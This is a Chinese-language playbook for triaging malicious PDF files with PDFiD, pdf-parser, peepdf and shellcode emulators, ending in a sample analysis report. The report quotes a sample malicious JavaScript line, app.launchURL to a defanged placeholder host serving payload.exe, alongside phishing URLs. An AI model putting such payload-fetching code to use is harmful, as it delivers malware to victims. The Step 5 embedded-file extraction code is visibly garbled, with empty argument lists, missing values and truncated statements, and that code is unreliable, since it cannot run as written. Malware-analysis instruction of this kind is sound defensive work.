| name | analyzing-pdf-malware-with-pdfid |
| description | 使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件,在不打开文档的情况下 识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。 确定攻击向量并提取嵌入的载荷以进行进一步分析。 适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。
|
| domain | cybersecurity |
| subdomain | malware-analysis |
| tags | ["malware","PDF-analysis","document-malware","PDFiD","static-analysis"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 PDFiD 分析 PDF 恶意软件
适用场景
- 可疑 PDF 附件被电子邮件安全系统标记或由用户报告
- 需要确定 PDF 是否包含嵌入的 JavaScript、shellcode 或漏洞利用代码
- 在沙箱或分析环境中打开 PDF 文件前进行分类筛查
- 从恶意 PDF 对象中提取嵌入的可执行文件、脚本或 URL
- 分析针对 Adobe Reader 或其他 PDF 查看器漏洞的 PDF 漏洞利用工具包
不适用于分析 PDF 的视觉渲染内容;本流程用于对 PDF 文件格式进行结构化分析以检测恶意对象。
前置条件
- Python 3.8+,安装 Didier Stevens 的 PDF 工具(
pip install pdfid pdf-parser)
- peepdf,用于交互式 PDF 分析(
pip install peepdf)
- poppler-utils 中的 pdftotext,用于安全提取文本内容
- 带有 PDF 专用规则的 YARA,用于恶意软件家族识别
- 隔离的分析虚拟机(未安装 PDF 阅读器,防止意外打开)
- CyberChef,用于解码嵌入的 Base64、十六进制或 deflate 流
工作流程
步骤 1:使用 PDFiD 进行初步分类
扫描 PDF 中的可疑关键词和结构:
pdfid suspect.pdf
pdfid -e suspect.pdf
pdfid -d suspect.pdf
PDFiD 风险评估:
━━━━━━━━━━━━━━━━━━━━━
高风险指标(任意计数 > 0):
/JS, /JavaScript -> 嵌入 JavaScript 代码
/AA -> 自动动作(无需用户交互即触发)
/OpenAction -> 文档打开时执行代码
/Launch -> 可启动外部可执行文件
/JBIG2Decode -> 与 CVE-2009-0658 漏洞利用相关
中风险指标:
/EmbeddedFile -> 包含嵌入文件(可能是 EXE/DLL)
/RichMedia -> Flash/多媒体(Flash 漏洞利用)
/AcroForm -> 带有可能提交动作的表单
/XFA -> XML 表单架构(复杂攻击面)
低风险指标:
/ObjStm -> 对象流(混淆技术)
/URI -> 外部 URL 引用
/Page -> 页面数量(仅供参考)
步骤 2:使用 pdf-parser 解析 PDF 结构
检查 PDFiD 标记的可疑对象:
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
pdf-parser --search "/OpenAction" suspect.pdf
pdf-parser --object 5 suspect.pdf
pdf-parser --object 5 --filter --raw suspect.pdf
pdf-parser --search "/EmbeddedFile" suspect.pdf
pdf-parser --stats suspect.pdf
步骤 3:提取并分析嵌入的 JavaScript
从 PDF 对象中提取 JavaScript 代码:
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
import subprocess
import re
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== 对象 {obj_id} ===")
print(result.stdout[:2000])
步骤 4:分析嵌入的 Shellcode
从 PDF 漏洞利用中提取并检查 shellcode:
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
scdbg /f shellcode.bin
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# 查看 shellcode 的 API 调用
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
步骤 5:提取嵌入的文件和 URL
提取嵌入的可执行文件和链接资源:
import subprocess
import hashlib
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
with open("suspect.pdf", "rb") as f:
data = f.read()
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"在偏移 0x{pos:X} 处发现嵌入的 PE 文件")
embedded = data[pos:pos+100000]
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", ) out:
out.write(embedded)
()
offset = pos +
result = subprocess.run(
[, , , , ],
capture_output=, text=
)
urls = re.findall(, result.stdout)
url (urls):
()
步骤 6:生成分析报告
记录 PDF 分析的所有发现:
分析应涵盖:
- PDFiD 分类结果(可疑关键词计数)
- PDF 结构异常(对象流、交叉引用问题)
- 提取的 JavaScript 代码(必要时去混淆)
- Shellcode 分析结果(API 调用、网络指标)
- 提取的嵌入文件及其哈希值
- URL 和外部引用
- 检测到已知漏洞利用时的 CVE 标识
- 针对已知 PDF 恶意软件家族的 YARA 规则匹配
核心概念
| 术语 | 定义 |
|---|
| PDF 对象(PDF Object) | PDF 文件的基本构建块;对象可包含流(压缩数据)、字典、数组以及对其他对象的引用 |
| OpenAction | PDF 字典条目,指定文档打开时要执行的动作;常用于触发 JavaScript 漏洞利用 |
| PDF 流(PDF Stream) | PDF 对象中的压缩数据,可包含 JavaScript、图像、嵌入文件或 shellcode;通常使用 FlateDecode 压缩 |
| FlateDecode | 应用于 PDF 流的 Zlib/deflate 压缩过滤器;必须解压缩后才能分析内容 |
| ObjStm(对象流) | 在单个压缩流中存储多个对象的 PDF 功能;恶意软件用其向简单解析器隐藏可疑对象 |
| JBIG2 | PDF 中的图像压缩标准;历史上的漏洞来源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | PDF 文档中可用的 Adobe 专用 JavaScript 扩展,用于表单操作、网络访问和操作系统交互 |
工具与系统
- PDFiD:Didier Stevens 开发的工具,用于扫描 PDF 文档中的可疑关键词和结构,无需解析完整文档
- pdf-parser:PDFiD 的配套工具,用于详细的 PDF 对象提取、流解压缩和内容分析
- peepdf:基于 Python 的 PDF 分析工具,提供交互式 shell 用于对象检查和 JavaScript 提取
- QPDF:PDF 转换工具,用于线性化、解密和重构 PDF 以便于分析
- scdbg:Shellcode 分析工具,可模拟 x86 shellcode 执行并记录 API 调用
常见场景
场景:对含嵌入 JavaScript 的钓鱼 PDF 进行分类
场景背景:电子邮件网关标记了一个带可疑 JavaScript 指标的 PDF 附件。安全团队需要确定它是否包含漏洞利用代码或社会工程学重定向。
方法:
- 运行 PDFiD 确认 /JS、/JavaScript 和 /OpenAction 的存在及计数
- 使用 pdf-parser 提取 OpenAction 对象并跟踪其引用链
- 从引用的流对象中提取 JavaScript 代码(应用 FlateDecode 过滤器)
- 对 JavaScript 进行去混淆处理(解码十六进制字符串,解析 eval 调用链)
- 确定脚本是利用 PDF 阅读器漏洞(检查堆喷射、ROP 链)还是执行重定向
- 提取所有 URL、IP 和嵌入文件作为 IoC
- 对样本进行分类:漏洞利用(特定 CVE)还是社会工程学(重定向/钓鱼)
常见陷阱:
- 在标准 PDF 阅读器中打开 PDF 而非使用命令行工具分析
- 遗漏隐藏在对象流(/ObjStm)中的 JavaScript(PDFiD 能检测但简单解析器会遗漏)
- 分析前未解压流(FlateDecode、ASCIIHexDecode、ASCII85Decode 过滤器)
- 认为没有 /JS 就没有 JavaScript;代码可能嵌入在表单字段中(带 /XFA 的 /AcroForm)
输出格式
PDF 恶意软件分析报告
==============================
文件: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
文件大小: 45,312 字节
PDF 版本: 1.7
PDFID 分类
/JS: 1 [高风险]
/JavaScript: 1 [高风险]
/OpenAction: 1 [高风险]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [混淆]
可疑对象
对象 5: /OpenAction -> 引用对象 8
对象 8: /JavaScript 流(FlateDecode,解压后 2,847 字节)
对象 12: /ObjStm,包含对象 15-18
提取的 JavaScript
第 1 层: eval(unescape("%68%65%6C%6C%6F"))
第 2 层: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// 社会工程学重定向,非漏洞利用
提取的 IoC
URL: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
域名: malicious[.]com,fake-login[.]com
分类结果
类型: 社会工程学(URL 重定向)
CVE: 无(未检测到漏洞利用代码)
风险: 高(下载可执行载荷)
家族: 通用 PDF 投放器